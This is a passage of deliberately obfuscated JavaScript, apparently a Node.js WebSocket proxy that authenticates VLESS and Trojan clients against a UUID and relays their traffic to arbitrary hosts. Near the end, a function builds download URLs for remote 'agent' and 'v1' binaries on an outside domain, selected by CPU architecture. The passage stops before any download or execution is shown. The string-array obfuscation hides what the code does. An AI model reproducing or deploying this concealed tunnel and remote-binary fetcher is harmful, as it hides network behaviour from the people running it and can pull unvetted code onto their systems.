-0x77,_0x102aba-0x12a,_0x30375e,_0x49cc03-0x138);}if(_0x40dbd8['AzQUm'](_0x40dbd8['vmNUz'],_0x40dbd8[_0x40e0ca(0x59b,0x5f9,0x5e2,0x596)])){if(_0x5546d5)_0x485740[_0x40e0ca(0x62a,0x613,0x6ec,0x60f)](_0x47e0b8,_0x5dc6f8);_0x485740[_0x40e0ca(0x49b,0x464,0x3f1,0x3fc)](_0x2d3f39);}else _0x2684eb();});}_0x42df22['rpTAq'](_0x2684eb);}});}function handleVlessConnection(_0x51ee24,_0x30638a){const _0x34e25e={'NKdUj':_0x3ce070(0x52e,0x5d3,0x534,0x563),'EKlNO':_0x3ce070(0x594,0x688,0x65a,0x63a),'RTnxu':_0x3ce070(0x511,0x4d6,0x581,0x4d6),'zkyTp':function(_0x33eeb4,_0x364d86){return _0x33eeb4+_0x364d86;},'jyfwB':function(_0xab99ff,_0x558dc5){return _0xab99ff==_0x558dc5;},'nreCL':function(_0x37ab13,_0x27834a){return _0x37ab13(_0x27834a);},'uVCBB':function(_0x375c5d,_0x448fcb){return _0x375c5d(_0x448fcb);}},[_0x1cd038]=_0x30638a,_0x590388=_0x30638a[_0x3ce070(0x52f,0x528,0x43c,0x4de)](0x224d*-0x1+-0x1f2b+-0x6f*-0x97,0x196f+0x75b+0x20b9*-0x1);function _0x3ce070(_0xa31882,_0xc57762,_0x4717b1,_0x1b83e9){return _0x10ed5a(_0xa31882-0xdf,_0x1b83e9-0x3a3,_0x4717b1,_0x1b83e9-0x102);}function _0x1e9a3d(_0x5b95f7,_0x3146c9,_0x1362a7,_0x2c8ff0){return _0x10ed5a(_0x5b95f7-0x17e,_0x3146c9-0x3ea,_0x5b95f7,_0x2c8ff0-0x22);}if(!_0x590388[_0x1e9a3d(0x6cd,0x601,0x5ac,0x697)]((_0x533c2e,_0x51910f)=>_0x533c2e==parseInt(uuid['substr'](_0x51910f*(0x1369*0x2+0x1*0xd81+0x3451*-0x1),-0xe9b+-0x8*0x18e+0x1b0d),-0x1978+0x1a5a+-0xd2)))return![];let _0x6fa308=_0x34e25e[_0x1e9a3d(0x5a6,0x5cb,0x634,0x68a)](_0x30638a['slice'](-0xe94+0x48a*0x1+0xa1b,0x1b32+0x26*0x33+-0x22b2)[_0x1e9a3d(0x529,0x5cd,0x5f8,0x5b1)](),-0x1*-0x1eec+0x598*-0x6+0x8b*0x5);const _0x4ae02e=_0x30638a[_0x3ce070(0x492,0x4b4,0x476,0x4de)](_0x6fa308,_0x6fa308+=0x589*-0x2+-0x1*0x1ff+0xd13*0x1)['readUInt16'+'BE'](-0x1c2c+0x2423+-0x7f7*0x1),_0x23fbfd=_0x30638a[_0x1e9a3d(0x470,0x525,0x4ef,0x55e)](_0x6fa308,_0x6fa308+=0x1a65+-0x1*-0xe02+-0x2866)['readUInt8'](),_0x50b2fc=_0x34e25e[_0x1e9a3d(0x4a9,0x50b,0x53d,0x4f8)](_0x23fbfd,-0x1*0xe21+-0x469*-0x1+-0x13*-0x83)?_0x30638a[_0x3ce070(0x4c6,0x4e8,0x416,0x4de)](_0x6fa308,_0x6fa308+=0x22f7*-0x1+-0x1b9a+-0x25*-0x1b1)[_0x3ce070(0x5b3,0x552,0x5ee,0x59d)]('.'):_0x34e25e[_0x1e9a3d(0x54c,0x50b,0x52a,0x593)](_0x23fbfd,-0x40e+-0x79c*0x1+0xbac)?new TextDecoder()[_0x1e9a3d(0x54d,0x519,0x57f,0x588)](_0x30638a[_0x3ce070(0x58c,0x512,0x530,0x4de)](_0x34e25e[_0x3ce070(0x623,0x644,0x5f8,0x584)](_0x6fa308,0x7*0x1ed+-0x1120+0x3a6*0x1),_0x6fa308+=-0xf96+0x1d2b+-0xd94+_0x30638a[_0x1e9a3d(0x494,0x525,0x4b5,0x498)](_0x6fa308,_0x6fa308+(-0x209*-0x1+0x1558+-0x1760))['readUInt8']())):_0x34e25e[_0x3ce070(0x454,0x534,0x58f,0x4c4)](_0x23fbfd,-0xc*-0x1d5+0xd*0xbc+-0x1f85)?_0x30638a[_0x1e9a3d(0x525,0x525,0x538,0x4ae)](_0x6fa308,_0x6fa308+=-0x262d+0x1*0x21e7+0x456)[_0x1e9a3d(0x658,0x5da,0x57b,0x589)]((_0x10b484,_0x4bb4e6,_0x110d01,_0x30a40f)=>_0x110d01%(0x19a1+0x261e+-0x14d*0x31)?_0x10b484[_0x3ce070(0x495,0x552,0x583,0x4c0)](_0x30a40f['slice'](_0x110d01-(0x26a0+-0x7ac+-0xa51*0x3),_0x110d01+(-0x1b3d+0x1*-0x1b9b+0x36d9))):_0x10b484,[])[_0x1e9a3d(0x5c7,0x558,0x4ca,0x54d)](_0x37b891=>_0x37b891[_0x1e9a3d(0x560,0x4f8,0x5ba,0x53f)+'BE'](-0x1787+-0x1*-0x18c7+-0x140)[_0x3ce070(0x5b9,0x5ed,0x58b,0x618)](0x76e+0x25ac+-0x902*0x5))[_0x1e9a3d(0x5e9,0x5e4,0x5c0,0x540)](':'):'';_0x51ee24[_0x1e9a3d(0x682,0x60d,0x6c9,0x69f)](new Uint8Array([_0x1cd038,0x1dab+-0x2e7*-0xa+-0x3ab1]));const _0x23bbfb=_0x34e25e[_0x3ce070(0x4cf,0x5d2,0x5b4,0x560)](createWebSocketStream,_0x51ee24);return _0x34e25e['uVCBB'](resolveHost,_0x50b2fc)[_0x3ce070(0x5d3,0x541,0x55c,0x51c)](_0x5ec96f=>{function _0x4ea3af(_0x15a32a,_0x2b5147,_0x59c8c9,_0x36ca6a){return _0x1e9a3d(_0x36ca6a,_0x15a32a- -0x276,_0x59c8c9-0x43,_0x36ca6a-0x7f);}const _0x215048={};_0x215048[_0x398238(0x1b3,0x15e,0x208,0x223)]=_0x4ea3af(0x2a7,0x2b0,0x286,0x262);const _0x3ce978=_0x215048;function _0x398238(_0x23b9e9,_0x21cec1,_0x41d27f,_0xcad6a5){return _0x1e9a3d(_0x21cec1,_0x23b9e9- -0x340,_0x41d27f-0x18d,_0xcad6a5-0x17a);}if(_0x34e25e['NKdUj']!==_0x34e25e[_0x398238(0x1f9,0x12d,0x246,0x2c2)]){const _0xc44b4f={};_0xc44b4f[_0x398238(0x29d,0x35d,0x22a,0x1fa)]=_0x5ec96f,_0xc44b4f[_0x398238(0x2f8,0x258,0x320,0x2ef)]=_0x4ae02e,net['connect'](_0xc44b4f,function(){this[_0x14f696(0x186,0x240,0x2d9,0x2fe)](_0x30638a['slice'](_0x6fa308));function _0x2bbb1c(_0x4a05ac,_0x265d89,_0x59efe3,_0x219831){return _0x398238(_0x59efe3- -0x3b9,_0x219831,_0x59efe3-0x11d,_0x219831-0xe6);}function _0x14f696(_0x5e78e1,_0x431e93,_0x1048e2,_0x58a0f7){return _0x4ea3af(_0x431e93- -0x112,_0x431e93-0x75,_0x1048e2-0x9e,_0x5e78e1);}_0x23bbfb['on'](_0x3ce978[_0x2bbb1c(-0x1d1,-0x194,-0x206,-0x184)],()=>{})[_0x2bbb1c(-0x159,-0x10a,-0x101,-0xe0)](this)['on'](_0x3ce978[_0x14f696(0x1aa,0x16b,0x115,0x19b)],()=>{})[_0x14f696(0x2d1,0x270,0x31b,0x28c)](_0x23bbfb);})['on'](_0x34e25e['RTnxu'],()=>{});}else this[_0x398238(0x288,0x30b,0x210,0x271)](_0x51c5ac[_0x4ea3af(0x2af,0x371,0x204,0x203)](_0x506a87)),_0x15ab67['on'](_0x3ce978[_0x4ea3af(0x27d,0x1ed,0x304,0x2e1)],()=>{})[_0x4ea3af(0x382,0x2bb,0x436,0x342)](this)['on'](_0x4ea3af(0x2a7,0x2a6,0x264,0x211),()=>{})[_0x4ea3af(0x382,0x32e,0x348,0x371)](_0x1ca7b5);})['catch'](_0x8c2014=>{const _0x283339={};function _0x2a820f(_0x1e9a50,_0x12afea,_0x58e6db,_0x5c70cc){return _0x3ce070(_0x1e9a50-0x14d,_0x12afea-0x141,_0x12afea,_0x58e6db- -0x105);}_0x283339[_0x2a820f(0x3f5,0x4a8,0x418,0x447)]=_0x34e25e[_0x3b00c5(0x4ff,0x593,0x503,0x4d6)];const _0x31fa6d=_0x283339,_0x46317d={};_0x46317d[_0x3b00c5(0x513,0x531,0x561,0x593)]=_0x50b2fc,_0x46317d[_0x3b00c5(0x62d,0x58c,0x556,0x5ce)]=_0x4ae02e;function _0x3b00c5(_0x3d013b,_0x2259b5,_0x1ac8ed,_0x2a2d5c){return _0x3ce070(_0x3d013b-0xf8,_0x2259b5-0x38,_0x3d013b,_0x2259b5- -0x65);}net[_0x3b00c5(0x4a1,0x460,0x50f,0x46a)](_0x46317d,function(){this[_0x3bafa5(0x3e,-0x75,-0x12,-0x25)](_0x30638a['slice'](_0x6fa308));function _0x3bafa5(_0x3733b7,_0x5a67ff,_0x117ede,_0x23269a){return _0x2a820f(_0x3733b7-0x5b,_0x117ede,_0x5a67ff- -0x4f1,_0x23269a-0xce);}function _0x5765cc(_0x19497d,_0x306ca2,_0x2fd4ff,_0x28b326){return _0x2a820f(_0x19497d-0xe7,_0x19497d,_0x28b326-0xd6,_0x28b326-0x3d);}_0x23bbfb['on'](_0x3bafa5(-0x137,-0x120,-0x178,-0x5d),()=>{})['pipe'](this)['on'](_0x31fa6d[_0x5765cc(0x5b4,0x4e3,0x50f,0x4ee)],()=>{})[_0x5765cc(0x611,0x54f,0x5aa,0x582)](_0x23bbfb);})['on'](_0x34e25e[_0x3b00c5(0x5c3,0x593,0x4d7,0x5d1)],()=>{});}),!![];}function handleTrojanConnection(_0x2f3b2e,_0x4009a1){const _0x219a0a={'gjnkX':_0x14bb48(0x25c,0x24f,0x2ee,0x2c8)+'+$','cZKtX':function(_0x28139e,_0x126fa5){return _0x28139e+_0x126fa5;},'BUGUc':_0x14bb48(0x307,0x3aa,0x3c5,0x3d6)+_0x14bb48(0x2f2,0x38f,0x323,0x2c3)+_0x19b683(0x376,0x41d,0x3a4,0x444)+_0x14bb48(0x220,0x2c4,0x2a5,0x244),'AqhrW':function(_0x2e505e,_0x55c702){return _0x2e505e<_0x55c702;},'CWJwj':_0x19b683(0x40f,0x48f,0x487,0x3c5),'nfQoh':_0x14bb48(0x3a5,0x2c6,0x361,0x32f)+_0x19b683(0x4b7,0x49b,0x42f,0x4a3)+_0x14bb48(0x332,0x32e,0x3ba,0x2ec),'UqOsW':function(_0x5f0ff2,_0x47a71e){return _0x5f0ff2<_0x47a71e;},'ARtyR':function(_0x5750fa,_0x4c649c){return _0x5750fa===_0x4c649c;},'IOyjk':function(_0x4421f3,_0x4e7bd1){return _0x4421f3!==_0x4e7bd1;},'TKxiZ':'amlDT','GvqvN':_0x14bb48(0x3d0,0x436,0x38e,0x35f),'dRcue':'npm\x20is\x20run'+_0x14bb48(0x28a,0x1df,0x281,0x1f7),'VuHcs':_0x19b683(0x34e,0x444,0x33a,0x3e5),'pjClb':function(_0x2d2585,_0x426960){return _0x2d2585===_0x426960;},'BrvMm':'BcNXS','LJPNx':'FRwbJ','PNJwq':'sha224','djxht':'hex','YOgWs':function(_0x21f475,_0x3904b0){return _0x21f475===_0x3904b0;},'fVbsG':_0x19b683(0x40b,0x421,0x46b,0x4aa),'Jntqp':function(_0x4cfbf3,_0x25b9d5){return _0x4cfbf3===_0x25b9d5;},'wwRxW':function(_0x3bdcf9,_0x1ef227){return _0x3bdcf9+_0x1ef227;},'AkWKQ':function(_0x4da811,_0x5336e1){return _0x4da811!==_0x5336e1;},'FsvrW':'AnSsc','DTPEh':_0x14bb48(0x39e,0x380,0x34e,0x382),'giXGx':function(_0x9a4df0,_0x556a0a){return _0x9a4df0+_0x556a0a;},'xJrVy':function(_0x33c001,_0x30b75b){return _0x33c001===_0x30b75b;},'lnRoQ':_0x14bb48(0x411,0x46d,0x3bd,0x359),'wgsLx':_0x19b683(0x41e,0x4d3,0x39a,0x425),'gKWCP':function(_0xc07dd4,_0x42d1bd){return _0xc07dd4+_0x42d1bd;},'WQACk':_0x14bb48(0x341,0x342,0x2fd,0x304),'qXIko':function(_0x1ca49d,_0x4e3011){return _0x1ca49d(_0x4e3011);},'YyhdX':_0x19b683(0x3c2,0x503,0x4f3,0x43d)};function _0x19b683(_0xa1caca,_0x240a0e,_0x38b4e6,_0x50d17b){return _0x10ed5a(_0xa1caca-0x8e,_0x50d17b-0x292,_0xa1caca,_0x50d17b-0x102);}function _0x14bb48(_0x4a372b,_0x4a4548,_0x184fbe,_0x1201ed){return _0x10ed5a(_0x4a372b-0xc7,_0x184fbe-0x15a,_0x4a4548,_0x1201ed-0xaf);}try{if(_0x219a0a[_0x19b683(0x3c0,0x3e8,0x453,0x3db)](_0x219a0a['BrvMm'],_0x219a0a['LJPNx']))return _0x21727e[_0x19b683(0x46a,0x4a2,0x466,0x507)]()[_0x19b683(0x531,0x4c5,0x4c2,0x533)](xwDQvy[_0x14bb48(0x319,0x2d4,0x37f,0x3ba)])[_0x14bb48(0x336,0x402,0x3cf,0x32b)]()[_0x14bb48(0x3b2,0x361,0x348,0x369)+'r'](_0x2c84d1)['search'](_0x19b683(0x408,0x3fe,0x3af,0x426)+'+$');else{if(_0x219a0a[_0x19b683(0x3cf,0x4d5,0x40a,0x45a)](_0x4009a1['length'],-0x85c+0x36c+0x52a))return![];const _0x14439b=_0x4009a1[_0x14bb48(0x243,0x2e1,0x295,0x2cc)](-0xc18+0x25d0+-0x19b8*0x1,-0x2a0+-0x47e+-0x139*-0x6)[_0x19b683(0x546,0x43d,0x4d4,0x507)](),_0x29d90d=[UUID];let _0x53274e=null;for(const _0x1e9e40 of _0x29d90d){const _0x145a94=crypto['createHash'](_0x219a0a[_0x19b683(0x50e,0x567,0x5cc,0x523)])[_0x19b683(0x387,0x301,0x440,0x3a2)](_0x1e9e40)[_0x14bb48(0x3df,0x425,0x3e0,0x380)](_0x219a0a[_0x14bb48(0x2d7,0x22d,0x282,0x32d)]);if(_0x219a0a['YOgWs'](_0x145a94,_0x14439b)){if(_0x219a0a[_0x14bb48(0x1da,0x27a,0x266,0x216)]!==_0x14bb48(0x402,0x339,0x372,0x2ff)){const _0x197223=_0x3c218b[_0x29d99d];_0x504822+=-0x70*-0x8+0x9ce+-0xd4d,_0x4ba403=_0x31457f[_0x19b683(0x343,0x496,0x311,0x3cd)](_0x246893,_0x219a0a[_0x14bb48(0x335,0x249,0x2f3,0x35c)](_0x49aeda,_0x197223))[_0x19b683(0x4e4,0x48b,0x4c3,0x507)](),_0x326534+=_0x197223;}else{_0x53274e=_0x1e9e40;break;}}}if(!_0x53274e)return![];let _0x4b948f=0x9bb+0x1c6*-0x4+-0x26b;_0x219a0a[_0x19b683(0x459,0x3f4,0x43d,0x3a1)](_0x4009a1[_0x4b948f],0x508+-0xf33+0xa38)&&_0x4009a1[_0x219a0a[_0x14bb48(0x337,0x37c,0x326,0x26f)](_0x4b948f,0x171f+-0xe1*-0x19+-0x2d17)]===0xe69+-0xcc3+-0xce*0x2&&(_0x4b948f+=0x259e+0xb30+-0x30cc);const _0xdbea3=_0x4009a1[_0x4b948f];if(_0xdbea3!==-0x493*-0x7+-0x1*0x1555+-0xaaf)return![];_0x4b948f+=0x1d2+-0x181e+-0x164d*-0x1;const _0x1adc5d=_0x4009a1[_0x4b948f];_0x4b948f+=-0x2280+0x3cc*0x6+-0x1*-0xbb9;let _0x29961d,_0x57c108;if(_0x219a0a[_0x19b683(0x48a,0x436,0x3fd,0x402)](_0x1adc5d,0x1f08+-0x1*0xe7b+-0x2c2*0x6))_0x219a0a[_0x14bb48(0x308,0x3c0,0x304,0x307)](_0x219a0a[_0x19b683(0x4ad,0x3f6,0x421,0x474)],_0x219a0a['DTPEh'])?(_0x29961d=_0x4009a1[_0x19b683(0x46b,0x45b,0x3d8,0x3cd)](_0x4b948f,_0x4b948f+(0x2438+-0x239*0xf+-0x2dd))[_0x19b683(0x46d,0x53b,0x50d,0x48c)]('.'),_0x4b948f+=-0xac8+-0x200+0xccc):(_0x45243a=_0x3ca714['slice'](_0x56a6b9,_0x219a0a['cZKtX'](_0x551172,0x14f4+0x833+0x1*-0x1d23))[_0x14bb48(0x381,0x3f8,0x354,0x2ac)]('.'),_0x2fbf24+=-0xd5b+0x8da+0x485);else{if(_0x219a0a[_0x14bb48(0x356,0x29e,0x2a3,0x302)](_0x1adc5d,-0x1a*0xac+0xf7c+0x49*0x7)){const _0x4a31a2=_0x4009a1[_0x4b948f];_0x4b948f+=-0x84*0x4+0x17db*0x1+0x15ca*-0x1,_0x29961d=_0x4009a1[_0x14bb48(0x2b0,0x348,0x295,0x318)](_0x4b948f,_0x219a0a[_0x19b683(0x3a1,0x44d,0x4de,0x458)](_0x4b948f,_0x4a31a2))[_0x19b683(0x527,0x46f,0x548,0x507)](),_0x4b948f+=_0x4a31a2;}else{if(_0x219a0a['xJrVy'](_0x1adc5d,0x7c*0x3a+-0x2e7+-0x5*0x509)){if(_0x219a0a[_0x14bb48(0x273,0x312,0x2c3,0x333)](_0x219a0a[_0x14bb48(0x3f2,0x43c,0x3b7,0x476)],_0x219a0a[_0x14bb48(0x37f,0x424,0x3e5,0x332)])){_0x3a7bc4[_0x19b683(0x490,0x39d,0x4af,0x404)](_0x219a0a[_0x14bb48(0x38a,0x392,0x2ce,0x282)]);return;}else _0x29961d=_0x4009a1['slice'](_0x4b948f,_0x219a0a[_0x19b683(0x3f0,0x41d,0x3c5,0x42b)](_0x4b948f,0x21c6+0x124c+-0x2a*0x13d))['reduce']((_0x4969c3,_0x4b29e4,_0x2818c4,_0x1c59b8)=>_0x2818c4%(-0x25c7+-0x3e*-0x8f+0x327)?_0x4969c3[_0x19b683(0x3c6,0x3a2,0x397,0x3af)](_0x1c59b8['slice'](_0x2818c4-(0x67f+0x81f+-0xe9d),_0x2818c4+(0x1*-0x1cd+-0x1797+0x1965))):_0x4969c3,[])[_0x14bb48(0x2ca,0x209,0x2c8,0x232)](_0x467614=>_0x467614[_0x19b683(0x3c3,0x3df,0x2ff,0x3a0)+'BE'](0x1*-0x227+0xff1+-0xdca)[_0x19b683(0x58c,0x4ba,0x4b8,0x507)](0x281*-0x5+0x17a8+-0x23*0x51))[_0x14bb48(0x308,0x303,0x354,0x364)](':'),_0x4b948f+=0x1c99*0x1+0x1e7*0x6+0x27f3*-0x1;}else return![];}}_0x57c108=_0x4009a1[_0x19b683(0x3c5,0x416,0x329,0x3a0)+'BE'](_0x4b948f),_0x4b948f+=-0x24a2+-0xd*-0x139+0x14bf;_0x219a0a[_0x19b683(0x3ef,0x422,0x4ae,0x45a)](_0x4b948f,_0x4009a1['length'])&&_0x4009a1[_0x4b948f]===-0x67*0x5+-0x1849*-0x1+-0x1639*0x1&&_0x219a0a[_0x19b683(0x39f,0x449,0x32c,0x3a1)](_0x4009a1[_0x219a0a[_0x14bb48(0x3f2,0x431,0x3e3,0x318)](_0x4b948f,0xa98+0x3d*-0xf+-0x382*0x2)],-0x5ea+-0x1d46+0x5df*0x6)&&(_0x219a0a[_0x14bb48(0x31c,0x3cc,0x367,0x2ec)](_0x219a0a['WQACk'],_0x219a0a[_0x19b683(0x4c5,0x463,0x4c4,0x511)])?_0x4b948f+=0x3*-0x779+-0xda5+-0xab*-0x36:this[_0x19b683(0x52f,0x4e2,0x4cb,0x470)](_0x3e7cc0['slice'](_0x4fb703)));const _0x3bb7b1=_0x219a0a[_0x19b683(0x3b4,0x4b2,0x46a,0x440)](createWebSocketStream,_0x2f3b2e);return _0x219a0a['qXIko'](resolveHost,_0x29961d)['then'](_0x463b1b=>{const _0x194653={};function _0x1aa345(_0x1c2861,_0x38886d,_0x3b86a9,_0x1766e6){return _0x19b683(_0x1766e6,_0x38886d-0xfd,_0x3b86a9-0x121,_0x1c2861- -0x91);}function _0x1c5464(_0x218691,_0x69c4ff,_0x555b22,_0x3a4cfd){return _0x14bb48(_0x218691-0x16e,_0x555b22,_0x218691-0x3d,_0x3a4cfd-0x16);}_0x194653[_0x1aa345(0x3f4,0x49a,0x477,0x48c)]=_0x463b1b,_0x194653[_0x1aa345(0x44f,0x413,0x3c1,0x4af)]=_0x57c108,net[_0x1aa345(0x323,0x283,0x29b,0x3a5)](_0x194653,function(){_0x219a0a[_0x33b3a1(0x5c0,0x577,0x60a,0x4ca)](_0x4b948f,_0x4009a1[_0x2f228d(-0x43,-0xd9,-0x26,0x4a)])&&this[_0x33b3a1(0x5d3,0x58d,0x53e,0x58f)](_0x4009a1[_0x2f228d(-0xbb,-0x9,0xb,-0x10a)](_0x4b948f));function _0x2f228d(_0x3b2b0b,_0x4e73bc,_0x584247,_0x39b4f6){return _0x1c5464(_0x3b2b0b- -0x38d,_0x4e73bc-0x1ca,_0x39b4f6,_0x39b4f6-0x76);}function _0x33b3a1(_0x39935f,_0x1e3d82,_0x54229c,_0x40c94f){return _0x1c5464(_0x1e3d82-0x218,_0x1e3d82-0x1d8,_0x39935f,_0x40c94f-0x3e);}_0x3bb7b1['on'](_0x219a0a[_0x33b3a1(0x58f,0x630,0x5f2,0x673)],()=>{})[_0x33b3a1(0x517,0x5bd,0x688,0x573)](this)['on'](_0x33b3a1(0x457,0x4e2,0x428,0x501),()=>{})[_0x2f228d(0x18,0xac,-0xb3,0xc1)](_0x3bb7b1);})['on']('error',()=>{});})[_0x19b683(0x555,0x4cb,0x3d9,0x4a2)](_0x22bdab=>{function _0x1daec8(_0x4c19d5,_0x5869b1,_0x99cb9a,_0x403050){return _0x19b683(_0x99cb9a,_0x5869b1-0x18f,_0x99cb9a-0x2f,_0x4c19d5- -0x85);}const _0x44585e={'EktKb':function(_0x4fe42b,_0xcce5d2){function _0x4a8c8(_0x1b3f9f,_0x292306,_0x494ef8,_0x4ea833){return _0x2ecc(_0x292306-0x227,_0x494ef8);}return _0x219a0a[_0x4a8c8(0x426,0x4e7,0x54d,0x4da)](_0x4fe42b,_0xcce5d2);},'rTKhC':function(_0x4234ad,_0x4b5509){function _0x192036(_0x266a51,_0x5999e8,_0xa7d436,_0x22b4d6){return _0x2ecc(_0xa7d436-0x1cf,_0x22b4d6);}return _0x219a0a[_0x192036(0x492,0x4d3,0x453,0x4c4)](_0x4234ad,_0x4b5509);},'EDBeg':_0x1daec8(0x427,0x4e3,0x43a,0x3b3),'aTJwx':_0x219a0a['CWJwj']};function _0x6b9c7f(_0x5085a2,_0x3a4bc4,_0x1e6d2d,_0xf85704){return _0x14bb48(_0x5085a2-0x11b,_0xf85704,_0x5085a2- -0x2c4,_0xf85704-0xf8);}if(_0x219a0a['IOyjk'](_0x219a0a[_0x1daec8(0x434,0x4cc,0x462,0x4fd)],_0x219a0a[_0x6b9c7f(0x4e,0x46,-0x2a,-0x71)])){const _0xd23b67={};_0xd23b67[_0x1daec8(0x400,0x463,0x3ef,0x3a2)]=_0x29961d,_0xd23b67[_0x1daec8(0x45b,0x523,0x39a,0x41d)]=_0x57c108,net[_0x6b9c7f(-0x48,0x7b,-0x103,-0x99)](_0xd23b67,function(){_0x44585e[_0x4413d5(0x378,0x422,0x311,0x439)](_0x4b948f,_0x4009a1[_0x4413d5(0x3a8,0x3b9,0x2fe,0x37d)])&&(_0x44585e[_0x4413d5(0x327,0x353,0x385,0x2f2)](_0x44585e[_0x574e16(0x46c,0x42a,0x435,0x3a3)],'zVfSV')?_0x1ff046['close']():this['write'](_0x4009a1[_0x574e16(0x40d,0x351,0x491,0x45c)](_0x4b948f)));function _0x574e16(_0x2e5dfd,_0x16b570,_0x5ecb30,_0x102998){return _0x6b9c7f(_0x2e5dfd-0x43c,_0x16b570-0x45,_0x5ecb30-0xc0,_0x102998);}function _0x4413d5(_0x4a2640,_0x30ab22,_0x4fc9ec,_0xf6f813){return _0x6b9c7f(_0x4a2640-0x35f,_0x30ab22-0x118,_0x4fc9ec-0xff,_0x30ab22);}_0x3bb7b1['on'](_0x44585e[_0x4413d5(0x3db,0x441,0x3ff,0x3aa)],()=>{})[_0x574e16(0x4e0,0x52b,0x46e,0x44c)](this)['on'](_0x44585e['aTJwx'],()=>{})[_0x574e16(0x4e0,0x43d,0x5a3,0x4e6)](_0x3bb7b1);})['on'](_0x219a0a[_0x1daec8(0x48e,0x43d,0x557,0x457)],()=>{});}else return _0x219a0a[_0x6b9c7f(0x3f,0x109,0xb1,0x7f)];}),!![];}}catch(_0x54446a){if(_0x14bb48(0x377,0x33a,0x313,0x38e)===_0x219a0a[_0x14bb48(0x23a,0x36b,0x2e1,0x2c4)]){const _0x2ddd2c={};_0x2ddd2c['XzQxa']=_0x219a0a[_0x19b683(0x322,0x35a,0x37f,0x3d4)];const _0x45294a=_0x2ddd2c,_0x2dfa4a={};_0x2dfa4a[_0x19b683(0x4e2,0x3d5,0x3a5,0x414)]=_0x219a0a['VuHcs'],_0x2138b3(_0x55b60b,_0x2dfa4a,_0x201ec1=>{function _0x1c8b82(_0x2a1727,_0x49c5cb,_0x20f040,_0x4650b9){return _0x19b683(_0x4650b9,_0x49c5cb-0x58,_0x20f040-0x1e,_0x2a1727- -0x50);}function _0x25245e(_0x2e4529,_0x120c3f,_0xe627f3,_0x2b39da){return _0x19b683(_0x120c3f,_0x120c3f-0x8a,_0xe627f3-0xc7,_0x2b39da-0x112);}if(_0x201ec1)_0x4714e2[_0x25245e(0x4ed,0x40b,0x498,0x4d7)](_0x25245e(0x5c7,0x5de,0x4f1,0x57c)+'g\x20error:',_0x201ec1);else _0x19ee18[_0x25245e(0x58c,0x4f8,0x4b5,0x516)](_0x45294a[_0x25245e(0x4eb,0x57c,0x60c,0x56b)]);});}else return![];}}wss['on'](_0x10ed5a(0x28b,0x271,0x23a,0x2a7),(_0x133403,_0x2f3ccd)=>{const _0x18d222={'bqJeH':function(_0x5c0ea3,_0x3908cc){return _0x5c0ea3>_0x3908cc;},'JIKUC':function(_0x476ba3,_0x23a6c8){return _0x476ba3===_0x23a6c8;},'DhmgI':function(_0x4ebc,_0x71545c,_0x5cdb13){return _0x4ebc(_0x71545c,_0x5cdb13);},'jWZeq':_0x5de30e(0x545,0x4c6,0x452,0x420),'HRPsc':_0x5de30e(0x3b6,0x3dc,0x42b,0x433)};function _0x55e52c(_0x52ab32,_0x26e62a,_0xfe354,_0x1ecc16){return _0x10ed5a(_0x52ab32-0x140,_0x26e62a-0x93,_0xfe354,_0x1ecc16-0xfb);}function _0x5de30e(_0x33d7c7,_0x1485b1,_0x3f73d8,_0x1f538d){return _0x10ed5a(_0x33d7c7-0xf6,_0x1485b1-0x2a9,_0x3f73d8,_0x1f538d-0xf2);}const _0x3bc457=_0x2f3ccd[_0x5de30e(0x470,0x4e0,0x430,0x599)]||'';_0x133403[_0x5de30e(0x34b,0x3f7,0x343,0x36b)](_0x18d222[_0x5de30e(0x47e,0x500,0x46c,0x557)],_0x59c33c=>{function _0x5854c7(_0x43d3a7,_0x55cae3,_0x3d8672,_0xd5eeb2){return _0x5de30e(_0x43d3a7-0x71,_0xd5eeb2- -0x431,_0x43d3a7,_0xd5eeb2-0x1ac);}function _0x39f1b6(_0x35b819,_0x2a1446,_0x38abed,_0x40b516){return _0x5de30e(_0x35b819-0x68,_0x2a1446- -0x345,_0x38abed,_0x40b516-0xcc);}if(_0x18d222[_0x39f1b6(0xa1,0x7d,0xaf,-0x48)](_0x59c33c['length'],-0x1*-0x1da3+0x1cfb+-0x3a8d)&&_0x18d222[_0x5854c7(0x5d,0x58,0x68,0xba)](_0x59c33c[0x10ee+-0x2306+0x1218],-0x1a1a+-0x51b*0x2+0x2450)){const _0x986afe=_0x59c33c[_0x39f1b6(0xfc,0x9f,0x163,0x50)](-0x1f*-0xfd+-0x706*-0x4+-0x3aba*0x1,0x1*0x624+-0x699+0x1*0x86),_0x1c30e3=_0x986afe['every']((_0x3199e8,_0x412fda)=>_0x3199e8==parseInt(uuid[_0x5854c7(0x137,0x126,0x156,0x8e)](_0x412fda*(-0xdcd+-0x4e9+0x12b8),-0x20eb+0xd7d+0x1370),0xd82*-0x2+-0x9*0x215+0x2dd1));if(_0x1c30e3){!_0x18d222['DhmgI'](handleVlessConnection,_0x133403,_0x59c33c)&&_0x133403[_0x5854c7(0x6e,0xc6,-0x3,-0x7)]();return;}}!_0x18d222[_0x39f1b6(0x106,0x10b,0x1a2,0xa9)](handleTrojanConnection,_0x133403,_0x59c33c)&&_0x133403[_0x39f1b6(0xf7,0xe5,0xbd,0x13e)]();})['on'](_0x18d222[_0x55e52c(0x242,0x256,0x31d,0x235)],()=>{});});const getDownloadUrl=()=>{const _0x168b2={'SSugK':function(_0x11ff6b){return _0x11ff6b();},'TGyKa':function(_0x4e948f,_0x311505){return _0x4e948f===_0x311505;},'FdYMC':_0x344666(0x539,0x4b2,0x42c,0x4c3),'hiXhQ':_0x14c5e9(0x17,-0x9,0x21,-0xc8),'jZUCz':_0x14c5e9(0x31,0x9f,0x35,0xb),'qnXoV':_0x344666(0x4b1,0x500,0x3c6,0x44c),'rFbiI':'https://ar'+_0x14c5e9(-0x26,0x6d,0xd4,0xe2)+_0x14c5e9(0x95,0xbc,0xd2,0x8d),'UBqOU':'https://ar'+_0x14c5e9(0xc6,0x6d,-0x12,-0x42)+'yc.mn/agen'+'t','dHwhv':_0x14c5e9(0xa0,0xe4,0x3b,0x125),'vmRga':_0x344666(0x493,0x4e7,0x498,0x423),'roHbd':_0x344666(0x39a,0x36b,0x31a,0x3c8)+_0x344666(0x4d0,0x394,0x437,0x462)+'yc.mn/v1','zamNE':_0x14c5e9(-0xcd,-0x5e,-0xbd,-0x3c)+_0x344666(0x48a,0x458,0x433,0x462)+'yc.mn/agen'+'t'};function _0x344666(_0x543b37,_0x8a4876,_0x1aed33,_0x3c6682){return _0x4a1523(_0x543b37-0x77,_0x3c6682-0x33a,_0x1aed33-0xf6,_0x1aed33);}const _0x433594=os[_0x14c5e9(-0x39,0x89,0x157,-0x1a)]();function 